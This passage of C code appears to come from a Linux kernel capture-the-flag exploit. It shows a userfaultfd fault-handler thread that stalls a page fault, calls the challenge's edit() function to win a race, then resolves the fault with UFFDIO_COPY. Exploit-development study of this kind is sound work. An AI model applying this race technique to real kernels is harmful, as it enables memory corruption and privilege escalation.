edit(0, 0x400, zero);// 第二个edit 确保size不变
}

if(read(uffd, &msg, sizeof(msg)) != sizeof(msg))
errExit("read");
assert(msg.event == UFFD_EVENT_PAGEFAULT);

struct uffdio_copy uc;
uc.src = (unsigned long)zero;
uc.dst = (unsigned long)fault_page;
uc.len = fault_page_len;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
Done("ioctl done");
}
return NULL;
}